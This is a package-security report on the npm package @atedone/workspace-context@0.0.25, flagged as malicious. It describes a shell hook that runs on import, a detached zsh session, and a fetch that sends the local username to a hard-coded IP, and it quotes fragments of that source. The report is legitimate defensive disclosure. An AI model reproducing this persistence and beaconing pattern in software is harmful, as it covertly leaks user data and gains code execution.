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canonical: "https://firewall.lpm.dev/npm/@atedone/workspace-context"
markdown: "https://firewall.lpm.dev/npm/@atedone/workspace-context/report.md"
package: "@atedone/workspace-context"
report_status: "published"
title: "@atedone/workspace-context@0.0.25 npm security report"
verdict: "malicious"
version: "0.0.25"
---

# @atedone/workspace-context@0.0.25 npm security report

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## Verdict summary
**Blocked by malware advisory** — OpenSSF/OSV malware advisory MAL-2026-18517 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Trusted malware advisory block
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 0.0.25
- **Selected version is latest:** Yes
- **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV malware advisory MAL-2026-18517 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree.

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

OpenSSF/OSV advisory MAL-2026-18517 confirms this npm version as malicious. On require(), the package's top-level state.initialize() writes shell integration files into ~/.config/workspace-context (init.zsh,.zshrc, session-runtime.js, presentation.js, channel.json) and spawns a detached, unref'd Node worker that launches \`/bin/zsh -i\` with ZDOTDIR pointed at that directory. The injected init.zsh installs a zsh precmd hook that re-executes a sibling script on every prompt, giving a...

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 91.0%
- **Started:** 2026-11-03T06:42:22.448Z
- **Finished:** 2026-11-03T06:42:59.052Z
- **Download time:** 869 ms
- **Static scan time:** 360 ms
- **AI review time:** 35375 ms
- **Total time:** 36604 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Import-time initialization automatically contacts a hard-coded profile server with the local username.

- **Trigger:** Requiring the package entry point.

- **Impact:** An identifying detail is sent to a hard-coded host without an evident user opt-in or disclosure.

- **Evidence paths:** index.js, lib/state.js, lib/default-profile.json, lib/session-worker.js, lib/session.js, lib/sync.js

- **Review source:** ai\_review

- **Reviewed:** 2026-11-03T06:42:59.052Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Initialization starts shell integration and a preview session that fetches the configured profile URL; the default URL includes the username.

- **Rationale:** Importing the package triggers a background profile fetch to a hard-coded IP address, and the default request includes the local username. The package’s shell integration purpose partly explains the profile fetch, but the automatic disclosure of identifying information is not clearly disclosed or user-configured.

- **Files touched:** \<projectRoot\>/.workspace-context/state.json, \<HOME\>/.zshrc or \<HOME\>/.bashrc, \<HOME\>/.config/workspace-context/init.zsh, \<HOME\>/.config/workspace-context/session-runtime.js, \<HOME\>/.config/workspace-context/presentation.js, \<HOME\>/.config/workspace-context/channel.json, \<HOME\>/.config/workspace-context/session-profile.json

- **Network endpoints:** http://150.136.8.159:8080/workspace/profile?username=\<local username\>

### Review decision

- **Verdict:** Suspicious

- **Confidence:** 91.0%

- **Recommended action:** downgrade\_to\_warn

- **Intent class:** Dangerous Capability

- **False-positive risk:** Medium

- **Evidence for AI warning decision:** Importing index.js immediately calls state.initialize()., The default profile points to http://150.136.8.159:8080/workspace/profile., The profile URL includes the local username as a query parameter., Initialization opens a workspace session, and its shell worker enables preview mode; session.js fetches the configured profile.

- **Evidence against:** The manifest declares no lifecycle scripts or dependencies., The profile response is saved locally and used to render the shell prompt, which aligns with the package’s stated shell integration purpose.

## Affected versions and remediation

This report applies to @atedone/workspace-context@0.0.25.

- Avoid installing @atedone/workspace-context@0.0.25. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 2. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 3. High: Semantic Analysis Limited
- **Category:** Scanner Coverage
- **Confidence:** 100.0%
- **Path:** lib/sync.js\#virtual:normalized:round1
- **Public source:** [View source](<https://unpkg.com/@atedone/workspace-context@0.0.25/lib/sync.js%23virtual%3Anormalized%3Around1>)

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

Public source snippet (untrusted):

```text
stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1
```

### 4. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/@atedone/workspace-context@0.0.25/index.js>)

Importing index.js immediately calls state.initialize().

Public source snippet (untrusted):

```javascript
const initialized = state.initialize();

module.exports = {
  initialized,
  ref
```

### 5. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** lib/default-profile.json
- **Public source:** [View source](<https://unpkg.com/@atedone/workspace-context@0.0.25/lib/default-profile.json>)

The default profile points to http://150.136.8.159:8080/workspace/profile.

Public source snippet (untrusted):

```json
"host": "150.136.8.159",
  "port": 8080,
  "pathname": [
    "workspace",
    "profile"
  ]
}
```

### 6. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** lib/state.js
- **Public source:** [View source](<https://unpkg.com/@atedone/workspace-context@0.0.25/lib/state.js>)

The profile URL includes the local username as a query parameter.

Public source snippet (untrusted):

```javascript
return identity ? `${source}?username=${encodeURIComponent(identity)}` : source;
}

function resolveChannelSource(env = readEnvironment(), channelSource = '') {
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** lib/state.js
- **Public source:** [View source](<https://unpkg.com/@atedone/workspace-context@0.0.25/lib/state.js>)

Initialization opens a workspace session, and its shell worker enables preview mode; session.js fetches the configured profile.

Public source snippet (untrusted):

```javascript
session: openWorkspaceSession({
      projectRoot,
      integration
    })
  };
}

module.exports = {
  buildProfileChannelSource,
  buildState,
  channelFileName,
  get
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** lib/session-worker.js
- **Public source:** [View source](<https://unpkg.com/@atedone/workspace-context@0.0.25/lib/session-worker.js>)

Initialization opens a workspace session, and its shell worker enables preview mode; session.js fetches the configured profile.

Public source snippet (untrusted):

```javascript
WORKSPACE_CONTEXT_PREVIEW: '1',
  TERM: 'dumb'
};

if (shellName === 'zsh') {
  shellEnvironment.ZDOTDIR = integration.integrationDirectory;
}

const shell = Reflect.appl
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** lib/session.js
- **Public source:** [View source](<https://unpkg.com/@atedone/workspace-context@0.0.25/lib/session.js>)

Initialization opens a workspace session, and its shell worker enables preview mode; session.js fetches the configured profile.

Public source snippet (untrusted):

```javascript
const response = await Reflect.apply(request, globalThis, [
    channel.source,
    {
      headers: {
        accept: 'application/json'
      }
    }
  ]);
  const synchronized = Boolean(response && response.ok);
  con
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** @atedone/workspace-context
- **Ecosystem:** npm
- **Version:** 0.0.25
- **License:** MIT
- **Version published:** 2026-11-02T20:38:19.043Z
- **Package first seen:** 2026-10-30T21:00:12.814Z
- **Package last seen:** 2026-11-03T06:43:51.127Z
- **Known versions:** 24
- **Latest version:** 0.0.25
- **Appeal under review:** No
- **Description:** Workspace shell session refresh integration helper for JavaScript tools.
- **Author:** atedone
- **Maintainers:** atedone
- **Artifact files:** 9
- **Artifact unpacked size:** 31,317 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@atedone/workspace-context>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-18517>)
- [PACKAGE](<https://www.npmjs.com/package/@atedone/workspace-context/v/0.0.23>)
- [PACKAGE](<https://www.npmjs.com/package/@atedone/workspace-context/v/0.0.14>)
- [PACKAGE](<https://www.npmjs.com/package/@atedone/workspace-context/v/0.0.25>)
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